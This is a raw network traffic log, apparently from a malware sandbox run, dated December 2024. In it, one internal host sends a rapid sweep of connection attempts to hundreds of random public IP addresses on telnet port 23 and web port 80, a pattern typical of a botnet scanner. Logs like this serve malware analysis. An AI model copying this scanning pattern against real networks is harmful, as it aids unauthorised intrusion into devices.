Dec 3, 2024 21:02:03.960450888 CET	19873	23	192.168.2.23	134.171.158.119
Dec 3, 2024 21:02:03.960453987 CET	19873	23	192.168.2.23	193.252.36.107
Dec 3, 2024 21:02:03.960453987 CET	19873	23	192.168.2.23	111.83.81.11
Dec 3, 2024 21:02:03.960472107 CET	19873	23	192.168.2.23	205.119.153.195
Dec 3, 2024 21:02:03.960472107 CET	19873	23	192.168.2.23	27.200.211.5
Dec 3, 2024 21:02:03.960474014 CET	19873	23	192.168.2.23	120.141.39.194
Dec 3, 2024 21:02:03.960474014 CET	19873	23	192.168.2.23	203.108.137.116
Dec 3, 2024 21:02:03.960484028 CET	19873	23	192.168.2.23	32.31.198.252
Dec 3, 2024 21:02:03.960484028 CET	19873	23	192.168.2.23	119.68.202.143
Dec 3, 2024 21:02:03.960488081 CET	19873	23	192.168.2.23	113.173.191.54
Dec 3, 2024 21:02:03.960498095 CET	19873	23	192.168.2.23	59.133.168.80
Dec 3, 2024 21:02:03.960509062 CET	19873	23	192.168.2.23	145.205.76.5
Dec 3, 2024 21:02:03.960509062 CET	19873	23	192.168.2.23	84.53.118.49
Dec 3, 2024 21:02:03.960520029 CET	19873	23	192.168.2.23	49.88.75.76
Dec 3, 2024 21:02:03.960520029 CET	19873	23	192.168.2.23	181.4.162.246
Dec 3, 2024 21:02:03.960527897 CET	19873	23	192.168.2.23	156.131.152.142
Dec 3, 2024 21:02:03.960534096 CET	19873	23	192.168.2.23	196.197.185.24
Dec 3, 2024 21:02:03.960535049 CET	19873	23	192.168.2.23	185.64.158.236
Dec 3, 2024 21:02:03.960549116 CET	19873	23	192.168.2.23	179.242.101.247
Dec 3, 2024 21:02:03.960551023 CET	19873	23	192.168.2.23	170.167.56.252
Dec 3, 2024 21:02:03.960556984 CET	19873	23	192.168.2.23	110.217.83.132
Dec 3, 2024 21:02:03.960557938 CET	19873	23	192.168.2.23	44.110.230.193
Dec 3, 2024 21:02:03.960573912 CET	19873	23	192.168.2.23	144.8.185.183
Dec 3, 2024 21:02:03.960580111 CET	19873	23	192.168.2.23	183.67.0.138
Dec 3, 2024 21:02:03.960581064 CET	19873	23	192.168.2.23	132.210.1.84
Dec 3, 2024 21:02:03.960583925 CET	19873	23	192.168.2.23	118.200.170.129
Dec 3, 2024 21:02:03.960597038 CET	19873	23	192.168.2.23	131.58.178.56
Dec 3, 2024 21:02:03.960598946 CET	19873	23	192.168.2.23	24.201.164.27
Dec 3, 2024 21:02:03.960601091 CET	19873	23	192.168.2.23	63.127.148.60
Dec 3, 2024 21:02:03.960601091 CET	19873	23	192.168.2.23	91.126.0.29
Dec 3, 2024 21:02:03.960617065 CET	19873	23	192.168.2.23	220.14.172.206
Dec 3, 2024 21:02:03.960618973 CET	19873	23	192.168.2.23	191.206.77.218
Dec 3, 2024 21:02:03.960618973 CET	19873	23	192.168.2.23	133.87.108.8
Dec 3, 2024 21:02:03.960633993 CET	19873	23	192.168.2.23	152.185.108.7
Dec 3, 2024 21:02:03.960633993 CET	19873	23	192.168.2.23	91.148.0.96
Dec 3, 2024 21:02:03.960649967 CET	19873	23	192.168.2.23	24.2.215.171
Dec 3, 2024 21:02:03.960649967 CET	19873	23	192.168.2.23	176.125.225.113
Dec 3, 2024 21:02:03.960658073 CET	19873	23	192.168.2.23	167.30.172.223
Dec 3, 2024 21:02:03.960659981 CET	19873	23	192.168.2.23	5.83.203.34
Dec 3, 2024 21:02:03.960665941 CET	19873	23	192.168.2.23	113.202.192.101
Dec 3, 2024 21:02:03.960670948 CET	19873	23	192.168.2.23	216.5.19.225
Dec 3, 2024 21:02:03.960685968 CET	19873	23	192.168.2.23	73.232.1.51
Dec 3, 2024 21:02:03.960686922 CET	19873	23	192.168.2.23	168.113.254.179
Dec 3, 2024 21:02:03.960688114 CET	19873	23	192.168.2.23	201.175.42.109
Dec 3, 2024 21:02:03.960686922 CET	19873	23	192.168.2.23	179.105.209.233
Dec 3, 2024 21:02:03.960695028 CET	19873	23	192.168.2.23	1.231.47.243
Dec 3, 2024 21:02:03.960701942 CET	19873	23	192.168.2.23	137.165.86.174
Dec 3, 2024 21:02:03.960701942 CET	19873	23	192.168.2.23	150.225.58.109
Dec 3, 2024 21:02:03.960716963 CET	19873	23	192.168.2.23	40.146.133.223
Dec 3, 2024 21:02:03.960717916 CET	19873	23	192.168.2.23	216.100.243.252
Dec 3, 2024 21:02:03.960732937 CET	19873	23	192.168.2.23	32.56.148.33
Dec 3, 2024 21:02:03.960732937 CET	19873	23	192.168.2.23	210.115.91.149
Dec 3, 2024 21:02:03.960738897 CET	19873	23	192.168.2.23	57.143.227.56
Dec 3, 2024 21:02:03.960743904 CET	19873	23	192.168.2.23	200.239.79.215
Dec 3, 2024 21:02:03.960747004 CET	19873	23	192.168.2.23	98.215.121.150
Dec 3, 2024 21:02:03.960760117 CET	19873	23	192.168.2.23	95.193.58.192
Dec 3, 2024 21:02:03.960764885 CET	19873	23	192.168.2.23	193.171.78.18
Dec 3, 2024 21:02:03.960764885 CET	19873	23	192.168.2.23	62.9.233.154
Dec 3, 2024 21:02:03.960766077 CET	19873	23	192.168.2.23	9.255.232.10
Dec 3, 2024 21:02:03.960764885 CET	19873	23	192.168.2.23	45.164.187.17
Dec 3, 2024 21:02:03.960771084 CET	19873	23	192.168.2.23	144.244.104.79
Dec 3, 2024 21:02:03.960782051 CET	19873	23	192.168.2.23	104.58.149.142
Dec 3, 2024 21:02:03.960787058 CET	19873	23	192.168.2.23	154.12.37.20
Dec 3, 2024 21:02:03.960787058 CET	19873	23	192.168.2.23	161.165.21.234
Dec 3, 2024 21:02:03.960793972 CET	19873	23	192.168.2.23	217.34.197.149
Dec 3, 2024 21:02:03.960800886 CET	19873	23	192.168.2.23	126.77.247.168
Dec 3, 2024 21:02:03.960800886 CET	19873	23	192.168.2.23	145.37.70.58
Dec 3, 2024 21:02:03.960813999 CET	19873	23	192.168.2.23	46.190.117.160
Dec 3, 2024 21:02:03.960817099 CET	19873	23	192.168.2.23	156.198.149.97
Dec 3, 2024 21:02:03.960818052 CET	19873	23	192.168.2.23	137.134.6.1
Dec 3, 2024 21:02:03.960820913 CET	19873	23	192.168.2.23	166.206.19.107
Dec 3, 2024 21:02:03.960834980 CET	19873	23	192.168.2.23	137.50.230.44
Dec 3, 2024 21:02:03.960836887 CET	19873	23	192.168.2.23	165.11.78.82
Dec 3, 2024 21:02:03.960846901 CET	19873	23	192.168.2.23	97.108.69.233
Dec 3, 2024 21:02:03.960848093 CET	19873	23	192.168.2.23	35.7.218.128
Dec 3, 2024 21:02:03.960855007 CET	19873	23	192.168.2.23	24.105.99.229
Dec 3, 2024 21:02:03.960856915 CET	19873	23	192.168.2.23	94.157.223.78
Dec 3, 2024 21:02:03.960871935 CET	19873	23	192.168.2.23	191.151.111.97
Dec 3, 2024 21:02:03.960871935 CET	19873	23	192.168.2.23	200.153.176.187
Dec 3, 2024 21:02:03.960875034 CET	19873	23	192.168.2.23	153.163.236.174
Dec 3, 2024 21:02:03.960880041 CET	19873	23	192.168.2.23	31.8.187.172
Dec 3, 2024 21:02:03.960880995 CET	19873	23	192.168.2.23	14.44.173.51
Dec 3, 2024 21:02:03.960884094 CET	19873	23	192.168.2.23	165.213.92.204
Dec 3, 2024 21:02:03.960889101 CET	19873	23	192.168.2.23	85.27.81.42
Dec 3, 2024 21:02:03.960889101 CET	19873	23	192.168.2.23	2.187.233.24
Dec 3, 2024 21:02:03.960905075 CET	19873	23	192.168.2.23	67.128.107.20
Dec 3, 2024 21:02:03.960906982 CET	19873	23	192.168.2.23	68.229.18.230
Dec 3, 2024 21:02:03.960908890 CET	19873	23	192.168.2.23	70.247.161.13
Dec 3, 2024 21:02:03.960912943 CET	19873	23	192.168.2.23	50.65.210.124
Dec 3, 2024 21:02:03.960920095 CET	19873	23	192.168.2.23	78.2.127.59
Dec 3, 2024 21:02:03.960932970 CET	19873	23	192.168.2.23	4.220.233.5
Dec 3, 2024 21:02:03.960932970 CET	19873	23	192.168.2.23	101.24.108.196
Dec 3, 2024 21:02:03.960936069 CET	19873	23	192.168.2.23	145.104.181.96
Dec 3, 2024 21:02:03.960937023 CET	19873	23	192.168.2.23	2.99.178.248
Dec 3, 2024 21:02:03.960956097 CET	19873	23	192.168.2.23	168.237.9.55
Dec 3, 2024 21:02:03.960957050 CET	19873	23	192.168.2.23	75.88.11.245
Dec 3, 2024 21:02:03.960957050 CET	19873	23	192.168.2.23	181.159.58.202
Dec 3, 2024 21:02:03.960958958 CET	19873	23	192.168.2.23	101.194.82.238
Dec 3, 2024 21:02:03.960961103 CET	19873	23	192.168.2.23	93.136.123.56
Dec 3, 2024 21:02:03.960963011 CET	19873	23	192.168.2.23	60.19.32.203
Dec 3, 2024 21:02:03.960964918 CET	19873	23	192.168.2.23	4.137.245.2
Dec 3, 2024 21:02:03.960964918 CET	19873	23	192.168.2.23	134.102.70.206
Dec 3, 2024 21:02:03.960972071 CET	19873	23	192.168.2.23	116.90.203.121
Dec 3, 2024 21:02:03.960988998 CET	19873	23	192.168.2.23	57.89.187.167
Dec 3, 2024 21:02:03.960988998 CET	19873	23	192.168.2.23	131.124.158.127
Dec 3, 2024 21:02:03.960990906 CET	19873	23	192.168.2.23	163.7.20.203
Dec 3, 2024 21:02:03.960994005 CET	19873	23	192.168.2.23	124.110.207.183
Dec 3, 2024 21:02:03.961009026 CET	19873	23	192.168.2.23	205.177.127.244
Dec 3, 2024 21:02:03.961014986 CET	19873	23	192.168.2.23	100.213.150.182
Dec 3, 2024 21:02:03.961015940 CET	19873	23	192.168.2.23	132.11.211.138
Dec 3, 2024 21:02:03.961025000 CET	19873	23	192.168.2.23	86.66.240.15
Dec 3, 2024 21:02:03.961025000 CET	19873	23	192.168.2.23	218.210.3.199
Dec 3, 2024 21:02:03.961030960 CET	19873	23	192.168.2.23	163.154.160.225
Dec 3, 2024 21:02:03.961039066 CET	19873	23	192.168.2.23	80.134.250.30
Dec 3, 2024 21:02:03.961041927 CET	19873	23	192.168.2.23	49.255.141.163
Dec 3, 2024 21:02:03.961050034 CET	19873	23	192.168.2.23	164.51.1.86
Dec 3, 2024 21:02:03.961062908 CET	19873	23	192.168.2.23	186.55.60.232
Dec 3, 2024 21:02:03.961065054 CET	19873	23	192.168.2.23	209.250.106.228
Dec 3, 2024 21:02:03.961072922 CET	19873	23	192.168.2.23	24.35.32.167
Dec 3, 2024 21:02:03.961078882 CET	19873	23	192.168.2.23	217.156.208.133
Dec 3, 2024 21:02:03.961080074 CET	19873	23	192.168.2.23	148.208.119.82
Dec 3, 2024 21:02:03.961093903 CET	19873	23	192.168.2.23	48.166.75.207
Dec 3, 2024 21:02:03.961097002 CET	19873	23	192.168.2.23	93.196.20.225
Dec 3, 2024 21:02:03.961097956 CET	19873	23	192.168.2.23	170.218.237.232
Dec 3, 2024 21:02:03.961100101 CET	19873	23	192.168.2.23	81.201.85.89
Dec 3, 2024 21:02:03.961102009 CET	19873	23	192.168.2.23	90.188.107.48
Dec 3, 2024 21:02:03.961102009 CET	19873	23	192.168.2.23	24.140.79.150
Dec 3, 2024 21:02:03.961106062 CET	19873	23	192.168.2.23	220.142.137.137
Dec 3, 2024 21:02:03.961112022 CET	19873	23	192.168.2.23	52.131.58.195
Dec 3, 2024 21:02:03.961122036 CET	19873	23	192.168.2.23	219.156.234.160
Dec 3, 2024 21:02:03.961127996 CET	19873	23	192.168.2.23	152.128.7.153
Dec 3, 2024 21:02:03.961138964 CET	19873	23	192.168.2.23	126.192.71.82
Dec 3, 2024 21:02:03.961141109 CET	19873	23	192.168.2.23	12.19.58.180
Dec 3, 2024 21:02:03.961155891 CET	19873	23	192.168.2.23	142.246.99.58
Dec 3, 2024 21:02:03.961158991 CET	19873	23	192.168.2.23	149.176.40.21
Dec 3, 2024 21:02:03.961159945 CET	19873	23	192.168.2.23	24.30.22.130
Dec 3, 2024 21:02:03.961163044 CET	19873	23	192.168.2.23	81.5.13.104
Dec 3, 2024 21:02:03.961169004 CET	19873	23	192.168.2.23	120.49.159.39
Dec 3, 2024 21:02:03.961172104 CET	19873	23	192.168.2.23	202.45.64.196
Dec 3, 2024 21:02:03.961172104 CET	19873	23	192.168.2.23	112.252.211.242
Dec 3, 2024 21:02:03.961183071 CET	19873	23	192.168.2.23	206.134.206.201
Dec 3, 2024 21:02:03.961183071 CET	19873	23	192.168.2.23	9.71.211.232
Dec 3, 2024 21:02:03.961196899 CET	19873	23	192.168.2.23	164.243.54.119
Dec 3, 2024 21:02:03.961196899 CET	19873	23	192.168.2.23	25.225.9.240
Dec 3, 2024 21:02:03.961196899 CET	19873	23	192.168.2.23	104.178.98.101
Dec 3, 2024 21:02:03.961211920 CET	19873	23	192.168.2.23	47.221.228.216
Dec 3, 2024 21:02:03.961219072 CET	19873	23	192.168.2.23	71.17.114.67
Dec 3, 2024 21:02:03.961219072 CET	19873	23	192.168.2.23	218.253.114.117
Dec 3, 2024 21:02:03.961220026 CET	19873	23	192.168.2.23	58.6.85.22
Dec 3, 2024 21:02:03.961224079 CET	19873	23	192.168.2.23	140.224.222.155
Dec 3, 2024 21:02:03.961242914 CET	19873	23	192.168.2.23	86.168.55.58
Dec 3, 2024 21:02:03.961242914 CET	19873	23	192.168.2.23	86.137.168.45
Dec 3, 2024 21:02:03.961242914 CET	19873	23	192.168.2.23	108.108.243.152
Dec 3, 2024 21:02:03.961250067 CET	19873	23	192.168.2.23	135.119.10.70
Dec 3, 2024 21:02:03.961252928 CET	19873	23	192.168.2.23	221.200.190.140
Dec 3, 2024 21:02:03.961262941 CET	19873	23	192.168.2.23	216.170.40.187
Dec 3, 2024 21:02:03.961268902 CET	19873	23	192.168.2.23	142.226.214.177
Dec 3, 2024 21:02:03.961268902 CET	19873	23	192.168.2.23	95.55.96.154
Dec 3, 2024 21:02:03.961271048 CET	19873	23	192.168.2.23	83.142.13.3
Dec 3, 2024 21:02:03.961271048 CET	19873	23	192.168.2.23	207.83.94.123
Dec 3, 2024 21:02:03.961272001 CET	19873	23	192.168.2.23	210.183.167.68
Dec 3, 2024 21:02:03.961275101 CET	19873	23	192.168.2.23	14.182.8.197
Dec 3, 2024 21:02:03.961276054 CET	19873	23	192.168.2.23	164.154.206.171
Dec 3, 2024 21:02:03.961298943 CET	19873	23	192.168.2.23	142.166.255.71
Dec 3, 2024 21:02:03.961301088 CET	19873	23	192.168.2.23	83.222.13.129
Dec 3, 2024 21:02:03.961308956 CET	19873	23	192.168.2.23	1.156.17.229
Dec 3, 2024 21:02:03.961309910 CET	19873	23	192.168.2.23	181.11.93.197
Dec 3, 2024 21:02:03.961318016 CET	19873	23	192.168.2.23	117.98.163.53
Dec 3, 2024 21:02:03.961321115 CET	19873	23	192.168.2.23	190.44.146.117
Dec 3, 2024 21:02:03.961323977 CET	19873	23	192.168.2.23	161.184.18.229
Dec 3, 2024 21:02:03.961332083 CET	19873	23	192.168.2.23	207.135.115.21
Dec 3, 2024 21:02:03.961334944 CET	19873	23	192.168.2.23	147.238.36.92
Dec 3, 2024 21:02:03.961345911 CET	19873	23	192.168.2.23	24.12.224.33
Dec 3, 2024 21:02:03.961345911 CET	19873	23	192.168.2.23	77.104.232.231
Dec 3, 2024 21:02:03.961349964 CET	19873	23	192.168.2.23	32.13.77.72
Dec 3, 2024 21:02:03.961364031 CET	19873	23	192.168.2.23	154.174.104.64
Dec 3, 2024 21:02:03.961364031 CET	19873	23	192.168.2.23	43.4.105.239
Dec 3, 2024 21:02:03.961369991 CET	19873	23	192.168.2.23	218.24.0.62
Dec 3, 2024 21:02:03.962315083 CET	23	46972	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.962385893 CET	46972	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.962646961 CET	47012	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.968800068 CET	23	39488	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.982160091 CET	23	47096	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:03.982232094 CET	47096	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:03.989295959 CET	54138	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:03.989299059 CET	60194	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:03.989298105 CET	53454	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:03.995651960 CET	23	48254	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.995666981 CET	23	48110	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.995724916 CET	48254	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.995999098 CET	48294	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.996294022 CET	48110	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.996526003 CET	48150	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:04.008749962 CET	23	44176	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:04.008827925 CET	44176	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:04.009147882 CET	44404	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:04.015913963 CET	23	32772	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:04.015981913 CET	32772	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:04.016225100 CET	32814	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:04.021286011 CET	60586	23	192.168.2.23	96.252.143.108
Dec 3, 2024 21:02:04.021290064 CET	47736	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:04.026966095 CET	80	44880	105.246.121.171	192.168.2.23
Dec 3, 2024 21:02:04.027019024 CET	44880	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:04.027362108 CET	23	50518	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:04.027559042 CET	80	54182	46.237.250.155	192.168.2.23
Dec 3, 2024 21:02:04.027606964 CET	54182	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:04.028208971 CET	23	50560	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:04.028254986 CET	50560	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:04.029582024 CET	23	50320	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:04.029663086 CET	23	50358	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:04.029717922 CET	50358	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:04.038243055 CET	80	44266	141.213.246.18	192.168.2.23
Dec 3, 2024 21:02:04.038295984 CET	44266	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:04.059644938 CET	23	37224	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:04.059778929 CET	23	37256	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:04.059832096 CET	37256	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:04.065210104 CET	23	41562	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:04.065447092 CET	23	41788	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:04.065514088 CET	41788	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:04.066478968 CET	23	60740	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:04.066659927 CET	23	60774	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:04.066714048 CET	60774	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:04.072158098 CET	80	42036	190.72.224.255	192.168.2.23
Dec 3, 2024 21:02:04.072256088 CET	80	42036	190.72.224.255	192.168.2.23
Dec 3, 2024 21:02:04.072302103 CET	80	42234	190.72.224.255	192.168.2.23
Dec 3, 2024 21:02:04.072354078 CET	42234	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:04.072391033 CET	42234	80	192.168.2.23	190.72.224.255
Dec 3, 2024 21:02:04.072428942 CET	20129	80	192.168.2.23	12.134.175.231
Dec 3, 2024 21:02:04.072429895 CET	20129	80	192.168.2.23	76.193.203.19
Dec 3, 2024 21:02:04.072433949 CET	20129	80	192.168.2.23	58.31.21.36
Dec 3, 2024 21:02:04.072449923 CET	20129	80	192.168.2.23	54.188.215.131
Dec 3, 2024 21:02:04.072451115 CET	20129	80	192.168.2.23	72.84.245.2
Dec 3, 2024 21:02:04.072449923 CET	20129	80	192.168.2.23	77.228.132.143
Dec 3, 2024 21:02:04.072453022 CET	20129	80	192.168.2.23	161.95.100.237
Dec 3, 2024 21:02:04.072453022 CET	20129	80	192.168.2.23	204.189.223.52
Dec 3, 2024 21:02:04.072455883 CET	20129	80	192.168.2.23	51.179.2.59
Dec 3, 2024 21:02:04.072458982 CET	20129	80	192.168.2.23	105.1.188.146
Dec 3, 2024 21:02:04.072458982 CET	20129	80	192.168.2.23	168.156.144.230
Dec 3, 2024 21:02:04.072459936 CET	20129	80	192.168.2.23	164.61.45.102
Dec 3, 2024 21:02:04.072459936 CET	20129	80	192.168.2.23	62.38.243.66
Dec 3, 2024 21:02:04.072470903 CET	80	50184	110.168.236.82	192.168.2.23
Dec 3, 2024 21:02:04.072478056 CET	20129	80	192.168.2.23	65.210.111.76
Dec 3, 2024 21:02:04.072478056 CET	20129	80	192.168.2.23	9.5.211.30
Dec 3, 2024 21:02:04.072484970 CET	20129	80	192.168.2.23	17.47.74.220
Dec 3, 2024 21:02:04.072484970 CET	20129	80	192.168.2.23	131.13.91.205
Dec 3, 2024 21:02:04.072484970 CET	20129	80	192.168.2.23	132.82.234.31
Dec 3, 2024 21:02:04.072491884 CET	20129	80	192.168.2.23	71.28.211.27
Dec 3, 2024 21:02:04.072515965 CET	20129	80	192.168.2.23	92.155.81.23
Dec 3, 2024 21:02:04.072516918 CET	20129	80	192.168.2.23	204.90.58.184
Dec 3, 2024 21:02:04.072519064 CET	20129	80	192.168.2.23	54.217.192.208
Dec 3, 2024 21:02:04.072520018 CET	50184	80	192.168.2.23	110.168.236.82
Dec 3, 2024 21:02:04.072524071 CET	20129	80	192.168.2.23	130.225.28.99
Dec 3, 2024 21:02:04.072524071 CET	20129	80	192.168.2.23	53.111.70.23
Dec 3, 2024 21:02:04.072525978 CET	20129	80	192.168.2.23	151.12.12.63
Dec 3, 2024 21:02:04.072525978 CET	20129	80	192.168.2.23	54.150.111.11
Dec 3, 2024 21:02:04.072527885 CET	20129	80	192.168.2.23	98.33.64.40
Dec 3, 2024 21:02:04.072541952 CET	20129	80	192.168.2.23	133.39.35.201
Dec 3, 2024 21:02:04.072546959 CET	20129	80	192.168.2.23	132.220.8.50
Dec 3, 2024 21:02:04.072546959 CET	20129	80	192.168.2.23	166.241.231.10
Dec 3, 2024 21:02:04.072559118 CET	20129	80	192.168.2.23	208.218.118.48
Dec 3, 2024 21:02:04.072571993 CET	20129	80	192.168.2.23	192.43.79.152
Dec 3, 2024 21:02:04.072580099 CET	20129	80	192.168.2.23	45.120.197.228
Dec 3, 2024 21:02:04.072581053 CET	20129	80	192.168.2.23	204.109.110.53
Dec 3, 2024 21:02:04.072581053 CET	20129	80	192.168.2.23	76.66.164.44
Dec 3, 2024 21:02:04.072581053 CET	80	45102	80.226.46.63	192.168.2.23
Dec 3, 2024 21:02:04.072585106 CET	20129	80	192.168.2.23	34.8.44.85
Dec 3, 2024 21:02:04.072586060 CET	20129	80	192.168.2.23	85.77.228.255
Dec 3, 2024 21:02:04.072604895 CET	20129	80	192.168.2.23	87.132.227.104
Dec 3, 2024 21:02:04.072607040 CET	20129	80	192.168.2.23	67.219.85.174
Dec 3, 2024 21:02:04.072614908 CET	20129	80	192.168.2.23	77.190.46.158
Dec 3, 2024 21:02:04.072616100 CET	20129	80	192.168.2.23	160.24.94.232
Dec 3, 2024 21:02:04.072623014 CET	20129	80	192.168.2.23	152.95.76.117
Dec 3, 2024 21:02:04.072628975 CET	20129	80	192.168.2.23	106.201.57.38
Dec 3, 2024 21:02:04.072629929 CET	20129	80	192.168.2.23	135.190.206.34
Dec 3, 2024 21:02:04.072643042 CET	20129	80	192.168.2.23	108.153.121.88
Dec 3, 2024 21:02:04.072648048 CET	20129	80	192.168.2.23	138.5.189.118
Dec 3, 2024 21:02:04.072652102 CET	20129	80	192.168.2.23	141.224.247.73
Dec 3, 2024 21:02:04.072654009 CET	20129	80	192.168.2.23	69.56.97.115
Dec 3, 2024 21:02:04.072662115 CET	20129	80	192.168.2.23	66.189.96.213
Dec 3, 2024 21:02:04.072664022 CET	20129	80	192.168.2.23	38.35.68.53
Dec 3, 2024 21:02:04.072674990 CET	20129	80	192.168.2.23	194.62.149.75
Dec 3, 2024 21:02:04.072684050 CET	20129	80	192.168.2.23	114.37.110.137
Dec 3, 2024 21:02:04.072685003 CET	20129	80	192.168.2.23	179.78.173.0
Dec 3, 2024 21:02:04.072700977 CET	20129	80	192.168.2.23	62.81.58.164
Dec 3, 2024 21:02:04.072700977 CET	20129	80	192.168.2.23	73.80.138.139
Dec 3, 2024 21:02:04.072701931 CET	20129	80	192.168.2.23	18.175.250.122
Dec 3, 2024 21:02:04.072702885 CET	20129	80	192.168.2.23	173.136.130.213
Dec 3, 2024 21:02:04.072705984 CET	20129	80	192.168.2.23	27.26.160.23
Dec 3, 2024 21:02:04.072725058 CET	20129	80	192.168.2.23	41.220.210.57
Dec 3, 2024 21:02:04.072726011 CET	20129	80	192.168.2.23	74.66.102.65
Dec 3, 2024 21:02:04.072727919 CET	20129	80	192.168.2.23	146.184.30.104
Dec 3, 2024 21:02:04.072727919 CET	20129	80	192.168.2.23	204.6.66.227
Dec 3, 2024 21:02:04.072731972 CET	20129	80	192.168.2.23	161.6.183.201
Dec 3, 2024 21:02:04.072732925 CET	20129	80	192.168.2.23	41.133.141.149
Dec 3, 2024 21:02:04.072732925 CET	20129	80	192.168.2.23	69.31.171.45
Dec 3, 2024 21:02:04.072732925 CET	20129	80	192.168.2.23	187.156.67.101
Dec 3, 2024 21:02:04.072740078 CET	20129	80	192.168.2.23	167.107.58.204
Dec 3, 2024 21:02:04.072745085 CET	20129	80	192.168.2.23	126.56.236.210
Dec 3, 2024 21:02:04.072746038 CET	20129	80	192.168.2.23	116.205.109.177
Dec 3, 2024 21:02:04.072752953 CET	20129	80	192.168.2.23	119.226.111.251
Dec 3, 2024 21:02:04.072767019 CET	80	45102	80.226.46.63	192.168.2.23
Dec 3, 2024 21:02:04.072770119 CET	20129	80	192.168.2.23	62.248.178.3
Dec 3, 2024 21:02:04.072772980 CET	20129	80	192.168.2.23	203.157.215.12
Dec 3, 2024 21:02:04.072777033 CET	20129	80	192.168.2.23	116.40.154.93
Dec 3, 2024 21:02:04.072777033 CET	20129	80	192.168.2.23	154.0.158.24
Dec 3, 2024 21:02:04.072787046 CET	20129	80	192.168.2.23	130.48.135.242
Dec 3, 2024 21:02:04.072792053 CET	20129	80	192.168.2.23	202.59.252.13
Dec 3, 2024 21:02:04.072812080 CET	20129	80	192.168.2.23	144.235.15.189
Dec 3, 2024 21:02:04.072813988 CET	20129	80	192.168.2.23	24.0.254.75
Dec 3, 2024 21:02:04.072814941 CET	20129	80	192.168.2.23	48.168.179.25
Dec 3, 2024 21:02:04.072814941 CET	20129	80	192.168.2.23	203.197.199.254
Dec 3, 2024 21:02:04.072815895 CET	80	45102	80.226.46.63	192.168.2.23
Dec 3, 2024 21:02:04.072829008 CET	20129	80	192.168.2.23	46.0.101.39
Dec 3, 2024 21:02:04.072832108 CET	20129	80	192.168.2.23	121.138.1.181
Dec 3, 2024 21:02:04.072837114 CET	20129	80	192.168.2.23	212.0.76.145
Dec 3, 2024 21:02:04.072840929 CET	20129	80	192.168.2.23	51.180.130.109
Dec 3, 2024 21:02:04.072860003 CET	20129	80	192.168.2.23	105.4.237.126
Dec 3, 2024 21:02:04.072860956 CET	20129	80	192.168.2.23	8.206.187.142
Dec 3, 2024 21:02:04.072860956 CET	20129	80	192.168.2.23	124.217.84.80
Dec 3, 2024 21:02:04.072865009 CET	20129	80	192.168.2.23	85.255.70.222
Dec 3, 2024 21:02:04.072875023 CET	20129	80	192.168.2.23	132.117.85.84
Dec 3, 2024 21:02:04.072877884 CET	20129	80	192.168.2.23	52.175.157.239
Dec 3, 2024 21:02:04.072882891 CET	20129	80	192.168.2.23	193.11.196.61
Dec 3, 2024 21:02:04.072887897 CET	20129	80	192.168.2.23	188.59.137.123
Dec 3, 2024 21:02:04.072901011 CET	20129	80	192.168.2.23	52.127.225.177
Dec 3, 2024 21:02:04.072906017 CET	20129	80	192.168.2.23	132.237.18.132
Dec 3, 2024 21:02:04.072915077 CET	20129	80	192.168.2.23	90.231.214.165
Dec 3, 2024 21:02:04.072922945 CET	20129	80	192.168.2.23	39.92.108.113
Dec 3, 2024 21:02:04.072922945 CET	20129	80	192.168.2.23	47.128.207.139
Dec 3, 2024 21:02:04.072927952 CET	20129	80	192.168.2.23	154.159.123.163
Dec 3, 2024 21:02:04.072927952 CET	20129	80	192.168.2.23	169.230.85.15
Dec 3, 2024 21:02:04.072930098 CET	20129	80	192.168.2.23	103.206.39.63
Dec 3, 2024 21:02:04.072933912 CET	20129	80	192.168.2.23	153.152.22.99
Dec 3, 2024 21:02:04.072933912 CET	20129	80	192.168.2.23	78.103.159.156
Dec 3, 2024 21:02:04.072936058 CET	20129	80	192.168.2.23	61.177.87.9
Dec 3, 2024 21:02:04.072946072 CET	20129	80	192.168.2.23	41.65.159.233
Dec 3, 2024 21:02:04.072952986 CET	20129	80	192.168.2.23	116.210.77.9
Dec 3, 2024 21:02:04.072957039 CET	20129	80	192.168.2.23	156.230.106.60
Dec 3, 2024 21:02:04.072963953 CET	20129	80	192.168.2.23	31.125.87.179
Dec 3, 2024 21:02:04.072972059 CET	20129	80	192.168.2.23	59.86.59.140
